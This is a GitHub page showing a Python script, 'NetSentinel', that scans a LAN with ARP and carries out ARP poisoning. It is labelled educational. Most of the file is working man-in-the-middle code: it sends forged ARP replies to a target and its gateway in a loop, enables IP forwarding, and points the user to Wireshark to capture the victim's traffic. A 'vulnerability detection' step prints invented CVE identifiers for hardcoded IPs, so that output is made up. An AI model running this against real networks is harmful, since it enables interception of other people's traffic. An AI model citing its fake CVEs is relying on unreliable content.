-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathnetsentinel.py
More file actions
241 lines (220 loc) · 8.7 KB
/
Copy pathnetsentinel.py
File metadata and controls
241 lines (220 loc) · 8.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
#!/usr/bin/env python3
"""
NetSentinel - A Network Scanning & ARP Spoofing Tool
Author: M.Armaoui
NetSentinel is your command-line Swiss Army knife for exploring network security.
Designed for educational purposes, it helps you master concepts like ARP spoofing,
live host scanning, and simulated vulnerability detection.
Remember: With great power comes great responsibility. Use ethically and responsibly.
"""
import os
import sys
import getopt
import threading
import asyncio
import json
import logging
from scapy.all import ARP, Ether, srp, send
from ipaddress import ip_address, ip_network
from time import sleep
from termcolor import colored
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(message)s",
handlers=[logging.StreamHandler(), logging.FileHandler("netsentinel.log")]
)
PORT_FORWARD_PATH = "/proc/sys/net/ipv4/ip_forward"
PACKET_COUNTER = 0
def log(message, level="INFO"):
colors = {"INFO": "green", "WARN": "yellow", "ERROR": "red"}
print(colored(f"[{level}] {message}", colors.get(level, "white")))
def ifsudo():
if os.geteuid() != 0:
log("Run NetSentinel with sudo permissions!", "ERROR")
sys.exit(1)
def validate_ip(ip):
try:
ip_address(ip)
return True
except ValueError:
log(f"Invalid IP Address: {ip}", "ERROR")
return False
def validate_network(network):
try:
ip_network(network, strict=False)
return True
except ValueError:
log(f"Invalid Network Range: {network}", "ERROR")
return False
async def scan_live_hosts(network_range):
if not validate_network(network_range):
return []
log("Scanning live hosts...", "INFO")
request = ARP(pdst=network_range)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
request_broadcast = broadcast / request
result = await asyncio.to_thread(srp, request_broadcast, timeout=5, verbose=False)
clients = result[0]
results = [(info[1].psrc, info[1].hwsrc) for _, info in clients]
save_scan_results(results)
return results
def save_scan_results(results, format="txt"):
filename = f"netsentinel_results.{format}"
if format == "json":
with open(filename, "w") as f:
json.dump(results, f, indent=4)
else:
with open(filename, "w") as f:
for ip, mac in results:
f.write(f"{ip} - {mac}\n")
log(f"Scan results saved to {filename}", "INFO")
def set_port_forwarding(status, confirm=True):
current_status = open(PORT_FORWARD_PATH).read().strip()
if current_status == str(status):
log(f"Port forwarding is already {'enabled' if status else 'disabled'}", "WARN")
return
if confirm and input("Enable port forwarding? (y/n): ").lower() != "y":
log("Operation canceled.", "WARN")
return
os.system(f"echo {status} > {PORT_FORWARD_PATH}")
log(f"Port forwarding {'enabled' if status else 'disabled'}", "INFO")
def get_mac(target, retries=3):
for attempt in range(retries):
arp_request = ARP(pdst=target)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
response = srp(broadcast / arp_request, timeout=2, verbose=False)[0]
if response:
mac = response[0][1].hwsrc
log(f"Resolved MAC address for {target}: {mac}", "INFO")
return mac
log(f"Attempt {attempt + 1}/{retries} failed to resolve MAC for {target}. Retrying...", "WARN")
log(f"Failed to resolve MAC address for {target} after {retries} attempts.", "ERROR")
return None
def validate_target_reachability(target, gateway):
if not get_mac(target, retries=3):
log(f"Target {target} is unreachable. Aborting ARP spoofing.", "ERROR")
return False
if not get_mac(gateway, retries=3):
log(f"Gateway {gateway} is unreachable. Aborting ARP spoofing.", "ERROR")
return False
log("Both target and gateway are reachable. Proceeding with ARP spoofing.", "INFO")
return True
def arpspoofing(target, gateway):
global PACKET_COUNTER
target_mac = get_mac(target)
gateway_mac = get_mac(gateway)
if not target_mac or not gateway_mac:
log("One or both MAC addresses could not be resolved. Using broadcast MAC as fallback.", "WARN")
target_mac = target_mac or "ff:ff:ff:ff:ff:ff"
gateway_mac = gateway_mac or "ff:ff:ff:ff:ff:ff"
packet_to_target = ARP(op=2, pdst=target, hwdst=target_mac, psrc=gateway)
packet_to_gateway = ARP(op=2, pdst=gateway, hwdst=gateway_mac, psrc=target)
send(packet_to_target, verbose=False)
send(packet_to_gateway, verbose=False)
PACKET_COUNTER += 2
def simulate_vulnerability_detection(hosts):
log("Simulating vulnerability detection...", "INFO")
vulnerabilities = {
"192.168.1.10": "CVE-2023-XYZ123 (Buffer Overflow)",
"192.168.1.20": "CVE-2023-ABC456 (RCE via Service)",
"192.168.1.30": "Zero-Day in Web Server Software"
}
detected = []
for host, _ in hosts:
if host in vulnerabilities:
detected.append((host, vulnerabilities[host]))
if detected:
log("Detected vulnerabilities:", "WARN")
for host, vuln in detected:
log(f"{host}: {vuln}", "WARN")
else:
log("No vulnerabilities detected.", "INFO")
def arppoisoning(target, gateway, stop_event):
global PACKET_COUNTER
try:
while not stop_event.is_set():
arpspoofing(target, gateway)
PACKET_COUNTER += 2
log(f"ARP Packets Sent: {PACKET_COUNTER}", "INFO")
sleep(1)
except KeyboardInterrupt:
log("Stopping ARP poisoning...", "WARN")
def show_help():
help_text = """
NetSentinel - A Network Scanning and ARP Spoofing Tool
Author: M.Armaoui
Usage: python netsentinel.py [options]
Options:
-i, --interface <interface> Specify the network interface to use (e.g., wlan0, eth0).
Use 'ifconfig' or 'ip a' to list available interfaces.
-t, --target <IP> Specify the target IP address.
-g, --gateway <IP> Specify the gateway IP address.
-s, --scan <network> Specify the network range to scan (e.g., 192.168.1.0/24).
-h, --help Display this help message.
Examples:
Scan for live hosts in a network:
python netsentinel.py -s 192.168.1.0/24
Perform ARP poisoning:
python netsentinel.py -i wlan0 -t 192.168.1.10 -g 192.168.1.1
"""
print(help_text)
def main():
if len(sys.argv) < 2:
show_help()
sys.exit(1)
ifsudo()
try:
opts, _ = getopt.getopt(
sys.argv[1:],
"i:t:g:s:h",
["interface=", "target=", "gateway=", "scan=", "help"]
)
interface, target, gateway, scan_range = None, None, None, None
for opt, arg in opts:
if opt in ("-i", "--interface"):
interface = arg
elif opt in ("-t", "--target"):
target = arg
elif opt in ("-g", "--gateway"):
gateway = arg
elif opt in ("-s", "--scan"):
scan_range = arg
elif opt in ("-h", "--help"):
show_help()
sys.exit(0)
if not interface:
log("Network interface not specified. Use '-i' or '--interface' to specify the interface.", "ERROR")
log("To find available interfaces, run 'ifconfig' or 'ip a'.", "INFO")
sys.exit(1)
if scan_range:
asyncio.run(scan_live_hosts(scan_range))
sys.exit(0)
if not (target and gateway):
log("Missing required arguments for ARP poisoning!", "ERROR")
show_help()
sys.exit(1)
if not (validate_ip(target) and validate_ip(gateway)):
sys.exit(1)
set_port_forwarding(1)
log(f"Target: {target}, Gateway: {gateway}, Interface: {interface}", "INFO")
log(f"Open Wireshark and use filter 'ip.addr=={target}'", "INFO")
if not validate_target_reachability(target, gateway):
set_port_forwarding(0)
sys.exit(1)
hosts = asyncio.run(scan_live_hosts("192.168.1.0/24"))
simulate_vulnerability_detection(hosts)
stop_event = threading.Event()
poison_thread = threading.Thread(target=arppoisoning, args=(target, gateway, stop_event), daemon=True)
poison_thread.start()
input("Press Enter to stop ARP poisoning...")
stop_event.set()
poison_thread.join()
except getopt.GetoptError as e:
log(f"Argument parsing error: {e}", "ERROR")
show_help()
except Exception as e:
log(f"An unexpected error occurred: {e}", "ERROR")
finally:
set_port_forwarding(0)
if __name__ == "__main__":
main()